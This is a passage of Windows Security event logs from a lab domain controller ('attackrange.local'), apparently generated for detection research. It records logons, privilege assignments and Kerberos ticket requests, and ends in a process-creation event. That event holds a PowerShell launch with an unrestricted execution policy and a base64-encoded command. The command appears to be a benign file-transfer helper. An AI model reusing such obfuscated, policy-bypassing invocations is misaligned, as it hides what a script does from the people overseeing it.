Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251868 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x14640E - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251867 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x146B86 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251866 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x146B86 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64560 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251865 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x146B86 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251864 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x146B25 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251863 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x146B25 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64559 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251862 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x146B25 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251861 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x146ABF - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251860 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x146ABF - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64558 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251859 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x146ABF - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251858 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x146A5E - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251857 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x146A5E - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64557 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251856 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x146A5E - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251855 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x145E42 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251854 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x14640E - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251853 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x14640E - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {96D2DD71-32E1-E85A-5916-E048AB39A344} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251852 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {96D2DD71-32E1-E85A-5916-E048AB39A344} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251851 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {96D2DD71-32E1-E85A-5916-E048AB39A344} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251850 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251849 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x145E42 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251848 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x145E42 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {96D2DD71-32E1-E85A-5916-E048AB39A344} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251847 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {96D2DD71-32E1-E85A-5916-E048AB39A344} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251846 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {96D2DD71-32E1-E85A-5916-E048AB39A344} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251845 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251844 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x14253C - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x7dc - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x11f0 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand YgBlAGcAaQBuACAAewAKACQAcABhAHQAaAAgAD0AIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGEAbgBzAGkAYgBsAGUALQB0AG0AcAAtADEANgAxADQANgAwADIANQA3ADcALgA2ADAANAA0ADcANAA4AC0AMgAzADYANAA0ADEAMAAyADAAOQAyADYAMwAwAFwAcwBvAHUAcgBjAGUAJwAKACQARABlAGIAdQBnAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAIgBDAG8AbgB0AGkAbgB1AGUAIgAKACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAIgBTAHQAbwBwACIACgBTAGUAdAAtAFMAdAByAGkAYwB0AE0AbwBkAGUAIAAtAFYAZQByAHMAaQBvAG4AIAAyAAoAJABmAGQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHAAYQB0AGgAKQAKACQAcwBoAGEAMQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBTAEgAQQAxAEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAF0AOgA6AEMAcgBlAGEAdABlACgAKQAKACQAYgB5AHQAZQBzACAAPQAgAEAAKAApACAAIwBpAG4AaQB0AGkAYQBsAGkAegBlACAAZgBvAHIAIABlAG0AcAB0AHkAIABmAGkAbABlACAAYwBhAHMAZQAKAH0ACgBwAHIAbwBjAGUAcwBzACAAewAKACQAYgB5AHQAZQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGkAbgBwAHUAdAApAAoAJABzAGgAYQAxAC4AVAByAGEAbgBzAGYAbwByAG0AQgBsAG8AYwBrACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgALAAgACQAYgB5AHQAZQBzACwAIAAwACkAIAB8ACAATwB1AHQALQBOAHUAbABsAAoAJABmAGQALgBXAHIAaQB0AGUAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApAAoAfQAKAGUAbgBkACAAewAKACQAcwBoAGEAMQAuAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbABCAGwAbwBjAGsAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAMAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAAKACQAaABhAHMAaAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQgBpAHQAQwBvAG4AdgBlAHIAdABlAHIAXQA6ADoAVABvAFMAdAByAGkAbgBnACgAJABzAGgAYQAxAC4ASABhAHMAaAApAC4AUgBlAHAAbABhAGMAZQAoACIALQAiACwAIAAiACIAKQAuAFQAbwBMAG8AdwBlAHIASQBuAHYAYQByAGkAYQBuAHQAKAApAAoAJABmAGQALgBDAGwAbwBzAGUAKAApAAoAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAiAHsAIgAiAHMAaABhADEAIgAiADoAIgAiACQAaABhAHMAaAAiACIAfQAiAAoAfQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process 